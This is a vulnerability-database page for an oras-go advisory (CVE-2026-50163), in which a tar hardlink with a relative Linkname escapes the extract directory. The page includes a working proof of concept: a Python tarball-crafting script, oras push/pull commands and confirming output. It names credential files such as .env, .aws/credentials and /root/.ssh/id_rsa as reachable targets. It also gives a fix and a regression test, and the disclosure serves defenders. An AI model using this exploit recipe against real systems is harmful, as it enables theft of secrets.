Vulnerability-Lookup

GHSA-FXHP-MV3V-67QP

Vulnerability from github – Published: 2026-07-01 21:48 – Updated: 2026-07-01 21:48

Summary

`oras-go` tar extraction: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution

Details

Root cause

The tar-extraction helper ensureLinkPath at content/file/utils.go:262-275 validates that a hardlink's target resolves inside the extract base, but then returns the original unresolved target string back to the caller:

func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {
    path := target
    if !filepath.IsAbs(target) {
        path = filepath.Join(filepath.Dir(link), target)  // resolved FOR VALIDATION
    }
    if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {
        return "", err
    }
    return target, nil   // <-- returns the ORIGINAL target, not the validated path
}

The caller for TypeLink hardlinks then does:

case tar.TypeLink:
    var target string
    if target, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {
        err = os.Link(target, filePath)
    }

os.Link(oldname, newname) wraps the link(2) system call. From the link(2) man page:

oldpath and newpath are interpreted relative to the current working directory of the calling process.

So when target (i.e., header.Linkname) is a relative path, os.Link resolves it against the process's current working directory, not against filepath.Dir(link) as the validation assumed.

Attack

An attacker who controls an OCI-compliant registry (or any artifact source the victim consumes via oras pull) crafts a tarball layer with:

A regular file: payload.tar.gz/README.txt.
A hardlink entry: Typeflag=TypeLink, Name=payload.tar.gz/evil_cwd_link, Linkname="victim.secret" (relative).

and marks the layer descriptor with io.deis.oras.content.unpack: "true" (a standard annotation that tells oras-go to auto-extract).

When a victim runs oras pull (or any Go code using content.File), the extraction:

Validates payload.tar.gz/evil_cwd_link — passes.
Calls ensureLinkPath(dirPath, "payload.tar.gz", filePath, "victim.secret"):
path = filepath.Join(filepath.Dir(filePath), "victim.secret") = <extract_base>/payload.tar.gz/victim.secret → inside base → validation passes.
Returns target = "victim.secret" (NOT path).
Calls os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link").
link(2) resolves relative oldname="victim.secret" against process CWD → creates a hardlink inside the extract tree pointing to <invoker_CWD>/victim.secret.

The resulting hardlink and the CWD file share an inode — reading one reads the other; writing to one writes to the other.

Proof of Concept

Tested on Ubuntu 24.04.4 LTS with oras CLI v1.3.0 (SHA-256 040e140304b7dbdd9b40dacd798e2303cea44ad84eeb210750afdf15f1dcf8b4, downloaded from https://github.com/oras-project/oras/releases/download/v1.3.0/oras_1.3.0_linux_amd64.tar.gz).

Reproduction script (standalone, ~50 lines) attached. Summary of key steps:

# 1. Place victim file in the future CWD.
mkdir -p cwd-space extract
echo "TOP SECRET FROM CWD" > cwd-space/victim.secret

# 2. Craft malicious tarball with a TypeLink entry whose Linkname is RELATIVE.
python3 -c '
import tarfile, io, os
with tarfile.open("cwd-space/payload.tar.gz", "w:gz", format=tarfile.GNU_FORMAT) as t:
    info = tarfile.TarInfo(name="payload.tar.gz/README.txt")
    c = b"pulled from registry"; info.size = len(c); info.mode = 0o644
    info.uid = os.getuid(); info.gid = os.getgid()
    t.addfile(info, io.BytesIO(c))

    link = tarfile.TarInfo(name="payload.tar.gz/evil_cwd_link")
    link.type = tarfile.LNKTYPE
    link.linkname = "victim.secret"   # RELATIVE
    link.mode = 0o644; link.uid = os.getuid(); link.gid = os.getgid()
    t.addfile(link)
'

# 3. Push to OCI layout, patch in the unpack annotation, pull from cwd-space.
(cd cwd-space && oras push --oci-layout ../layout:v1 \
    payload.tar.gz:application/vnd.oci.image.layer.v1.tar+gzip)
# ... patch layout/blobs/sha256/<manifest> to add
#     io.deis.oras.content.unpack: "true" on layers[0].annotations ...

(cd cwd-space && oras pull --oci-layout ../layout:v1 --output ../extract)

# 4. Observe inode sharing.
stat -c '%i' extract/payload.tar.gz/evil_cwd_link   # → 6554160
stat -c '%i' cwd-space/victim.secret                # → 6554160 (SAME)
cat extract/payload.tar.gz/evil_cwd_link             # → "TOP SECRET FROM CWD"

Observed output:

evil_cwd_link (inside extract dir): inode=6554160
victim.secret  (in invoker CWD):    inode=6554160
*** ESCAPE CONFIRMED ***
Reading through the extract-dir hardlink yields the CWD file contents:
TOP SECRET FROM CWD

A library-level regression test is also provided (poc_test.go) that drops into content/file/utils_test.go and runs via go test ./content/file/... -run TestPoC — output shows identical inode match for consumers of the library API.

Impact

Primary: arbitrary-CWD-file read primitive. An attacker-controlled OCI artifact, when pulled by a victim using the oras CLI or any Go program using oras-go/v2/content/file, can create a hardlink inside the victim's extract tree pointing to an arbitrary file in the victim's process CWD (that the invoker UID is permitted to read). Reading the extract-tree hardlink yields that file's contents verbatim.

Secondary: inode-sharing tampering primitive. Any tool that later modifies the extract-tree hardlink (write, chmod, truncate, etc.) modifies the CWD file through the shared inode. This violates the "writes inside the extract dir are confined" invariant that downstream tooling (CI systems, container-image builders, artifact scanners) typically depends on.

High-severity chains:

CI pipelines where oras pull runs from a project workspace containing secrets/credentials (.env, .git/config, service-account tokens). The pulled artifact can hardlink those secrets into a location later archived/mounted/published.
Container orchestration where the extract dir is bind-mounted into a lower-trust container while the pull-invoker's CWD is higher-trust. Hardlinks created in the extract tree expose invoker-CWD files across the trust boundary.
Kubernetes operators / Flux source-controller using oras-go to fetch artifacts; their CWD is typically / or /root — very sensitive.
Multi-tenant registry proxies that use oras-go to fetch and re-serve artifacts; each proxy process has a CWD with configuration, keys, or per-tenant state.

Not affected:

oras push (tarball creation side): tarDirectory in the same file explicitly skips hardlink generation (line 65 comment: "We don't support hard links and treat it as regular files"), so pushed content cannot trigger this on the server.
Symlink extraction path (TypeSymlink): os.Symlink stores the target string verbatim and does not CWD-resolve at creation time. The current ensureLinkPath return-of-target is correct for symlinks (the existing validation correctly models the symlink-follow path).

Attack-surface boundary (`fs.protected_hardlinks`)

On Linux with fs.protected_hardlinks=1 (default on modern distros), link(2) additionally requires the linking user to have READ + WRITE permission on the source file (per may_linkat() in the kernel). Verified on Ubuntu 24.04: as non-root, ln /etc/passwd /tmp/x returns EPERM, and the same via the oras PoC path returns link passwd /tmp/.../evil_passwd: operation not permitted.

So the attacker cannot use this bug to read arbitrary root-owned files (e.g., /etc/shadow) when the victim invokes oras pull as a regular user. The attack surface depends on the invocation context:

Invocation context	Reachable file classes
`oras pull` run by a regular user	Any file the user OWNS or has write access to in the process CWD: `.env`, `.git/config`, `.aws/credentials`, `~/.ssh/config`, project-local secrets, CI workspace files.
`oras pull` run as root (systemd without `User=`, container entrypoint default root, Kubernetes operator)	Every file on the host filesystem. `/etc/shadow`, `/root/.ssh/id_rsa`, bind-mounted host paths, service private keys.

The user-context attack surface alone is sufficient for supply-chain-grade impact: CI pipelines and developer machines routinely hold API keys, signing keys, and cloud credentials in user-owned files in the working directory. The root-context escalation makes the bug Critical in mainstream Kubernetes/GitOps tooling where oras-go is adopted for artifact distribution.

Proposed fix

Change ensureLinkPath to expose both the verbatim target (for symlinks) and the resolved absolute path (for hardlinks); have the TypeLink case use the resolved path.

// Current behavior preserved for TypeSymlink. TypeLink switches to the resolved
// path to avoid CWD-resolution mismatch at os.Link time.
func ensureLinkPath(baseAbs, baseRel, link, target string) (symlinkTarget, hardlinkPath string, err error) {
    path := target
    if !filepath.IsAbs(target) {
        path = filepath.Join(filepath.Dir(link), target)
    }
    if _, err = resolveRelToBase(baseAbs, baseRel, path); err != nil {
        return "", "", err
    }
    return target, path, nil
}

case tar.TypeLink:
    var absTarget string
    if _, absTarget, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {
        err = os.Link(absTarget, filePath)
    }
case tar.TypeSymlink:
    var symTarget string
    symTarget, _, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname)
    if err != nil { return err }
    if err = os.Symlink(symTarget, filePath); err != nil { ... }

Regression test to add:

Extend Test_extractTarDirectory_HardLink with a third sub-test that: 1. Creates a sentinel file in the test's t.TempDir() (or an explicitly os.Chdir-entered directory) with a known name, e.g. sentinel.txt. 2. Builds a tarball containing a TypeLink entry with Linkname: "sentinel.txt" (relative). 3. Extracts. 4. Asserts either extractTarDirectory returned an error, OR the resulting hardlink's inode does NOT match the sentinel's inode.

Severity

7.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "oras.land/oras-go/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50163"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-01T21:48:04Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Root cause\n\nThe tar-extraction helper `ensureLinkPath` at [`content/file/utils.go:262-275`](https://github.com/oras-project/oras-go/blob/main/content/file/utils.go#L262-L275) validates that a hardlink\u0027s target resolves inside the extract base, but then returns the original unresolved `target` string back to the caller:\n\n```go\nfunc ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {\n    path := target\n    if !filepath.IsAbs(target) {\n        path = filepath.Join(filepath.Dir(link), target)  // resolved FOR VALIDATION\n    }\n    if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {\n        return \"\", err\n    }\n    return target, nil   // \u003c-- returns the ORIGINAL target, not the validated path\n}\n```\n\nThe caller for `TypeLink` hardlinks then does:\n\n```go\ncase tar.TypeLink:\n    var target string\n    if target, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {\n        err = os.Link(target, filePath)\n    }\n```\n\n`os.Link(oldname, newname)` wraps the `link(2)` system call. From the `link(2)` man page:\n\n\u003e oldpath and newpath are interpreted relative to the current working directory of the calling process.\n\nSo when `target` (i.e., `header.Linkname`) is a **relative** path, `os.Link` resolves it against the process\u0027s **current working directory**, not against `filepath.Dir(link)` as the validation assumed.\n\n### Attack\n\nAn attacker who controls an OCI-compliant registry (or any artifact source the victim consumes via `oras pull`) crafts a tarball layer with:\n\n- A regular file: `payload.tar.gz/README.txt`.\n- A hardlink entry: `Typeflag=TypeLink`, `Name=payload.tar.gz/evil_cwd_link`, `Linkname=\"victim.secret\"` (relative).\n\nand marks the layer descriptor with `io.deis.oras.content.unpack: \"true\"` (a standard annotation that tells `oras-go` to auto-extract).\n\nWhen a victim runs `oras pull` (or any Go code using `content.File`), the extraction:\n\n1. Validates `payload.tar.gz/evil_cwd_link` \u2014 passes.\n2. Calls `ensureLinkPath(dirPath, \"payload.tar.gz\", filePath, \"victim.secret\")`:\n   - `path = filepath.Join(filepath.Dir(filePath), \"victim.secret\")` = `\u003cextract_base\u003e/payload.tar.gz/victim.secret` \u2192 inside base \u2192 **validation passes**.\n   - Returns `target = \"victim.secret\"` (NOT `path`).\n3. Calls `os.Link(\"victim.secret\", \"\u003cextract_base\u003e/payload.tar.gz/evil_cwd_link\")`.\n4. `link(2)` resolves relative `oldname=\"victim.secret\"` against process CWD \u2192 creates a hardlink inside the extract tree pointing to `\u003cinvoker_CWD\u003e/victim.secret`.\n\nThe resulting hardlink and the CWD file **share an inode** \u2014 reading one reads the other; writing to one writes to the other.\n\n---\n\n## Proof of Concept\n\nTested on Ubuntu 24.04.4 LTS with `oras` CLI v1.3.0 (SHA-256 `040e140304b7dbdd9b40dacd798e2303cea44ad84eeb210750afdf15f1dcf8b4`, downloaded from \u003chttps://github.com/oras-project/oras/releases/download/v1.3.0/oras_1.3.0_linux_amd64.tar.gz\u003e).\n\nReproduction script (standalone, ~50 lines) attached. Summary of key steps:\n\n```bash\n# 1. Place victim file in the future CWD.\nmkdir -p cwd-space extract\necho \"TOP SECRET FROM CWD\" \u003e cwd-space/victim.secret\n\n# 2. Craft malicious tarball with a TypeLink entry whose Linkname is RELATIVE.\npython3 -c \u0027\nimport tarfile, io, os\nwith tarfile.open(\"cwd-space/payload.tar.gz\", \"w:gz\", format=tarfile.GNU_FORMAT) as t:\n    info = tarfile.TarInfo(name=\"payload.tar.gz/README.txt\")\n    c = b\"pulled from registry\"; info.size = len(c); info.mode = 0o644\n    info.uid = os.getuid(); info.gid = os.getgid()\n    t.addfile(info, io.BytesIO(c))\n\n    link = tarfile.TarInfo(name=\"payload.tar.gz/evil_cwd_link\")\n    link.type = tarfile.LNKTYPE\n    link.linkname = \"victim.secret\"   # RELATIVE\n    link.mode = 0o644; link.uid = os.getuid(); link.gid = os.getgid()\n    t.addfile(link)\n\u0027\n\n# 3. Push to OCI layout, patch in the unpack annotation, pull from cwd-space.\n(cd cwd-space \u0026\u0026 oras push --oci-layout ../layout:v1 \\\n    payload.tar.gz:application/vnd.oci.image.layer.v1.tar+gzip)\n# ... patch layout/blobs/sha256/\u003cmanifest\u003e to add\n#     io.deis.oras.content.unpack: \"true\" on layers[0].annotations ...\n\n(cd cwd-space \u0026\u0026 oras pull --oci-layout ../layout:v1 --output ../extract)\n\n# 4. Observe inode sharing.\nstat -c \u0027%i\u0027 extract/payload.tar.gz/evil_cwd_link   # \u2192 6554160\nstat -c \u0027%i\u0027 cwd-space/victim.secret                # \u2192 6554160 (SAME)\ncat extract/payload.tar.gz/evil_cwd_link             # \u2192 \"TOP SECRET FROM CWD\"\n```\n\nObserved output:\n\n```\nevil_cwd_link (inside extract dir): inode=6554160\nvictim.secret  (in invoker CWD):    inode=6554160\n*** ESCAPE CONFIRMED ***\nReading through the extract-dir hardlink yields the CWD file contents:\nTOP SECRET FROM CWD\n```\n\nA library-level regression test is also provided (`poc_test.go`) that drops into `content/file/utils_test.go` and runs via `go test ./content/file/... -run TestPoC` \u2014 output shows identical inode match for consumers of the library API.\n\n---\n\n## Impact\n\n**Primary: arbitrary-CWD-file read primitive.** An attacker-controlled OCI artifact, when pulled by a victim using the `oras` CLI or any Go program using `oras-go/v2/content/file`, can create a hardlink inside the victim\u0027s extract tree pointing to an arbitrary file in the victim\u0027s process CWD (that the invoker UID is permitted to read). Reading the extract-tree hardlink yields that file\u0027s contents verbatim.\n\n**Secondary: inode-sharing tampering primitive.** Any tool that later modifies the extract-tree hardlink (write, chmod, truncate, etc.) modifies the CWD file through the shared inode. This violates the \"writes inside the extract dir are confined\" invariant that downstream tooling (CI systems, container-image builders, artifact scanners) typically depends on.\n\n**High-severity chains:**\n\n- **CI pipelines** where `oras pull` runs from a project workspace containing secrets/credentials (`.env`, `.git/config`, service-account tokens). The pulled artifact can hardlink those secrets into a location later archived/mounted/published.\n- **Container orchestration** where the extract dir is bind-mounted into a lower-trust container while the pull-invoker\u0027s CWD is higher-trust. Hardlinks created in the extract tree expose invoker-CWD files across the trust boundary.\n- **Kubernetes operators / Flux source-controller** using `oras-go` to fetch artifacts; their CWD is typically `/` or `/root` \u2014 very sensitive.\n- **Multi-tenant registry proxies** that use `oras-go` to fetch and re-serve artifacts; each proxy process has a CWD with configuration, keys, or per-tenant state.\n\n**Not affected:**\n\n- `oras push` (tarball creation side): `tarDirectory` in the same file explicitly skips hardlink generation (line 65 comment: `\"We don\u0027t support hard links and treat it as regular files\"`), so pushed content cannot trigger this on the server.\n- Symlink extraction path (`TypeSymlink`): `os.Symlink` stores the target string verbatim and does not CWD-resolve at creation time. The current `ensureLinkPath` return-of-`target` is correct for symlinks (the existing validation correctly models the symlink-follow path).\n\n### Attack-surface boundary (`fs.protected_hardlinks`)\n\nOn Linux with `fs.protected_hardlinks=1` (default on modern distros), `link(2)` additionally requires the linking user to have READ + WRITE permission on the source file (per `may_linkat()` in the kernel). Verified on Ubuntu 24.04: as non-root, `ln /etc/passwd /tmp/x` returns `EPERM`, and the same via the oras PoC path returns `link passwd /tmp/.../evil_passwd: operation not permitted`.\n\n**So the attacker cannot use this bug to read arbitrary root-owned files (e.g., `/etc/shadow`) when the victim invokes `oras pull` as a regular user.** The attack surface depends on the invocation context:\n\n| Invocation context | Reachable file classes |\n|---|---|\n| `oras pull` run by a regular user | Any file the user OWNS or has write access to in the process CWD: `.env`, `.git/config`, `.aws/credentials`, `~/.ssh/config`, project-local secrets, CI workspace files. |\n| `oras pull` run as root (systemd without `User=`, container entrypoint default root, Kubernetes operator) | **Every file on the host filesystem.** `/etc/shadow`, `/root/.ssh/id_rsa`, bind-mounted host paths, service private keys. |\n\nThe user-context attack surface alone is sufficient for supply-chain-grade impact: CI pipelines and developer machines routinely hold API keys, signing keys, and cloud credentials in user-owned files in the working directory. The root-context escalation makes the bug Critical in mainstream Kubernetes/GitOps tooling where oras-go is adopted for artifact distribution.\n\n---\n\n## Proposed fix\n\nChange `ensureLinkPath` to expose both the verbatim target (for symlinks) and the resolved absolute path (for hardlinks); have the `TypeLink` case use the resolved path.\n\n```go\n// Current behavior preserved for TypeSymlink. TypeLink switches to the resolved\n// path to avoid CWD-resolution mismatch at os.Link time.\nfunc ensureLinkPath(baseAbs, baseRel, link, target string) (symlinkTarget, hardlinkPath string, err error) {\n    path := target\n    if !filepath.IsAbs(target) {\n        path = filepath.Join(filepath.Dir(link), target)\n    }\n    if _, err = resolveRelToBase(baseAbs, baseRel, path); err != nil {\n        return \"\", \"\", err\n    }\n    return target, path, nil\n}\n```\n\n```go\ncase tar.TypeLink:\n    var absTarget string\n    if _, absTarget, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {\n        err = os.Link(absTarget, filePath)\n    }\ncase tar.TypeSymlink:\n    var symTarget string\n    symTarget, _, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname)\n    if err != nil { return err }\n    if err = os.Symlink(symTarget, filePath); err != nil { ... }\n```\n\n**Regression test to add:**\n\nExtend `Test_extractTarDirectory_HardLink` with a third sub-test that:\n1. Creates a sentinel file in the test\u0027s `t.TempDir()` (or an explicitly `os.Chdir`-entered directory) with a known name, e.g. `sentinel.txt`.\n2. Builds a tarball containing a `TypeLink` entry with `Linkname: \"sentinel.txt\"` (relative).\n3. Extracts.\n4. Asserts either `extractTarDirectory` returned an error, OR the resulting hardlink\u0027s inode does NOT match the sentinel\u0027s inode.",
  "id": "GHSA-fxhp-mv3v-67qp",
  "modified": "2026-07-01T21:48:04Z",
  "published": "2026-07-01T21:48:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/oras-project/oras-go/security/advisories/GHSA-fxhp-mv3v-67qp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/oras-project/oras-go/commit/b11f777f8d405c5023c4b307cfdc5068dfc3d406"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/oras-project/oras-go"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "`oras-go` tar extraction: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution"
}

CVE-2026-50163 (GCVE-0-2026-50163)

Vulnerability from cvelistv5 – Published: 2026-07-17 19:36 – Updated: 2026-07-17 19:36

Title

oras-go: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution in `oras-go` tar extraction

Summary

oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, ensureLinkPath in content/file/utils.go:262-275 validates a hardlink target relative to the extract base but returns the unresolved target, causing os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link") to resolve header.Linkname against the process current working directory for a Typeflag=TypeLink entry such as Name=payload.tar.gz/evil_cwd_link and Linkname="victim.secret" with io.deis.oras.content.unpack: "true", which can expose or tamper with files such as .env, .git/config, .aws/credentials, and ~/.ssh/config. This issue is fixed in version 2.6.2.

Severity

7.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-59 - Improper Link Resolution Before File Access ('Link Following')

Assigner

GitHub_M

References

4 references

URL	Tags
https://github.com/oras-project/oras-go/security/…	x_refsource_CONFIRM
https://github.com/oras-project/oras-go/pull/1232	x_refsource_MISC
https://github.com/oras-project/oras-go/commit/c4…	x_refsource_MISC
https://github.com/oras-project/oras-go/releases/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
oras-project	oras-go	Affected: < 2.6.2

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{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "oras-go",
          "vendor": "oras-project",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.6.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "oras-go is a Go library for managing OCI artifacts. Prior to 2.6.2, ensureLinkPath in content/file/utils.go:262-275 validates a hardlink target relative to the extract base but returns the unresolved target, causing os.Link(\"victim.secret\", \"\u003cextract_base\u003e/payload.tar.gz/evil_cwd_link\") to resolve header.Linkname against the process current working directory for a Typeflag=TypeLink entry such as Name=payload.tar.gz/evil_cwd_link and Linkname=\"victim.secret\" with io.deis.oras.content.unpack: \"true\", which can expose or tamper with files such as .env, .git/config, .aws/credentials, and ~/.ssh/config. This issue is fixed in version 2.6.2."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-59",
              "description": "CWE-59: Improper Link Resolution Before File Access (\u0027Link Following\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-17T19:36:01.254Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/oras-project/oras-go/security/advisories/GHSA-fxhp-mv3v-67qp",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/oras-project/oras-go/security/advisories/GHSA-fxhp-mv3v-67qp"
        },
        {
          "name": "https://github.com/oras-project/oras-go/pull/1232",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/oras-project/oras-go/pull/1232"
        },
        {
          "name": "https://github.com/oras-project/oras-go/commit/c463c654ab3ef34422c1764cd619806cebf20451",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/oras-project/oras-go/commit/c463c654ab3ef34422c1764cd619806cebf20451"
        },
        {
          "name": "https://github.com/oras-project/oras-go/releases/tag/v2.6.2",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/oras-project/oras-go/releases/tag/v2.6.2"
        }
      ],
      "source": {
        "advisory": "GHSA-fxhp-mv3v-67qp",
        "discovery": "UNKNOWN"
      },
      "title": "oras-go: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution in `oras-go` tar extraction"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-50163",
    "datePublished": "2026-07-17T19:36:01.254Z",
    "dateReserved": "2026-06-03T20:54:20.432Z",
    "dateUpdated": "2026-07-17T19:36:01.254Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted